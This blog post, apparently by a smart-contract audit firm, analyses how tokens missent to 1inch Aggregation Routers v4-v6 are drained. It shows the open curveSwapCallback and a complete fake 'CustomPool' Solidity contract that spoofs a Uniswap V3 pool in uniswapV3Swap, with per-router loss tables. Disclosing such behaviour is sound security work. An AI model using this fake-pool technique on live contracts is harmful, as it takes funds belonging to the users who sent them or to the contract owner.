Tokens missent to the 1inch Aggregation Router? Forget about them
One of the most notorious missteps in the blockchain space is accidentally transferring tokens to the wrong address. Sometimes users send their funds directly to a contract instead of calling it properly. And the more widely used the contract, the more often this happens.
Among Ethereum’s top gas guzzlers are 1inch Aggregation Routers. And yes, you guessed it — people keep sending tokens there by mistake. Sometimes it’s $20K USDT, sometimes $5K USDT.
Luckily, 1inch Aggregation Routers include a function designed to recover accidentally sent funds:
/**
* @notice Retrieves funds accidentally sent directly to the contract address
* @param token ERC20 token to retrieve
* @param amount amount to retrieve
*/
function rescueFunds(IERC20 token, uint256 amount) external onlyOwner {
token.uniTransfer(payable(msg.sender), amount);
}
Seems safe, right? But what if we told you anyone can rescue those funds?
While digging into interactions with Ethereum’s popular gas guzzlers, we found a user who sent 4.2 WBTC to 1inch Aggregation Router V6 in November 2024.
Were they recovered? Well… not by the owner. In fact, a savvy searcher pocketed the funds for themselves — and did it pretty easily by creating a contract that called this method:
/**
* @notice Called by Curve pool during swap operation initiated by _curfe.
* @dev This can be called by anyone assuming no tokens are stored on this contract between transactions.
* @param inCoin Address of the token to be exchanged.
* @param dx Amount of tokens to be exchanged.
*/
function curveSwapCallback(
address /* sender */,
address /* receiver */,
address inCoin,
uint256 dx,
uint256 /* dy */
) external {
IERC20(inCoin).safeTransfer(msg.sender, dx);
}
Done. Funds “rescued”. Not to mention, one can skip the contract altogether and call the function directly.
Correct. This callback exists in Aggregation Router V6. Then you might think older routers like v4 and v5 must still be holding funds until the owner runs rescueFunds. Not always.
Here’s the catch: in other routers, including Uniswap’s SwapRouter, pool addresses are calculated or fetched dynamically during the swap. But in 1inch Aggregation Routers, pool addresses are passed externally.
That design opens the door for the method that accepts a chain of pools as a parameter:
/// @param amount Amount of source tokens to swap
/// @param minReturn Minimal allowed returnAmount to make transaction commit
/// @param pools Pools chain used for swaps. Pools src and dst tokens should match.
function uniswapV3Swap(
uint256 amount,
uint256 minReturn,
uint256[] calldata pools
) external payable returns(uint256 returnAmount);
During a swap, UniswapV3 requires you to send your liquidity via uniswapV3SwapCallback. For the first pool, 1inch uses msg.sender’s funds, and the returnAmount comes from the UniswapV3 pool.
Normally you can’t control this. Unless you create your own “pool”:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract CustomPool {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1) {
amount0 = -amountSpecified;
amount1 = -amountSpecified;
}
}
This fake pool just echoes back the value it received. Put it first in the chain, and it returns whatever you need without calling uniswapV3SwapCallback. After that, the next pool can be called normally, and voilà — the mistakenly sent tokens are “recovered” and swapped.
Is this a bug? Not really, since 1inch even acknowledged this in v6. So it’s more of a tradeoff for gas efficiency than a vulnerability. But it’s definitely something worth knowing.
We found users accidentally sent about $520K in tokens (adjusted prices) to routers v4, v5, and v6. It seems all of it was “rescued” by opportunistic users who knew how to drain funds using fake pools or trigger the callback function.
Here’s a detailed breakdown:
Total: $1,836.23
Token | Amount (USD) | Contract |
WETH | $1,481.73 | 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 |
USDT | $182.64 | 0xdac17f958d2ee523a2206206994597c13d831ec7 |
USDC | $121.16 | 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 |
MATIC | $50.70 | 0x7d1afa7b718fb893db30a3abc0cfc608aacfebb0 |
Total: $38,953.55
Token | Amount (USD) | Contract |
USDT | $30,301.68 | 0xdac17f958d2ee523a2206206994597c13d831ec7 |
USDC | $6,215.33 | 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 |
PEPE | $2,078.44 | 0x6982508145454ce325ddbe47a25d4ec3d2311933 |
VOLT | $115.87 | 0x7f792db54b0e580cdc755178443f0430cf799aca |
PAXG | $107.74 | 0x45804880de22913dafe09f4980848ece6ecbaf78 |
CRO | $78.57 | 0xa0b73e1ff0b80914ab6fe0444e65848c4c34450b |
SFI | $55.74 | 0xb753428af26e81097e7fd17f40c88aaa3e04902c |
Total: $479,273.73
Token | Amount (USD) | Contract |
WBTC | $444,960.24 | 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 |
DOLA | $19,991.46 | 0x865377367054516e17014ccded1e7d814edc9ce4 |
USDT | $5,431.15 | 0xdac17f958d2ee523a2206206994597c13d831ec7 |
USDC | $4,180.02 | 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 |
T | $2,156.03 | 0xcdf7028ceab81fa0c6971208e83fa7872994bee |
PEPE | $1,450.39 | 0x6982508145454ce325ddbe47a25d4ec3d2311933 |
WETH | $742.63 | 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 |
RBX | $361.81 | 0x3ba925fdeae6b46d0bb4d424d829982cb2f7309e |
If you’d like us to perform this level of analysis for a security audit of your own contract — get in touch!
One click to start work with us
Same Articles
All Articles
Extreme Optimization of GasToken
In this article, we will delve into optimizing GasToken. It's important to note that it is no longer relevant to the Ethereum network. In 2021, the London hard fork introduced EIP-3529 because the GasToken economy was inefficient. The Binance Smart Chain (BSC) continues to use this mechanism.

Basics of a Smart Contract
Smart contracts are pieces of code that execute an action when certain conditions are met.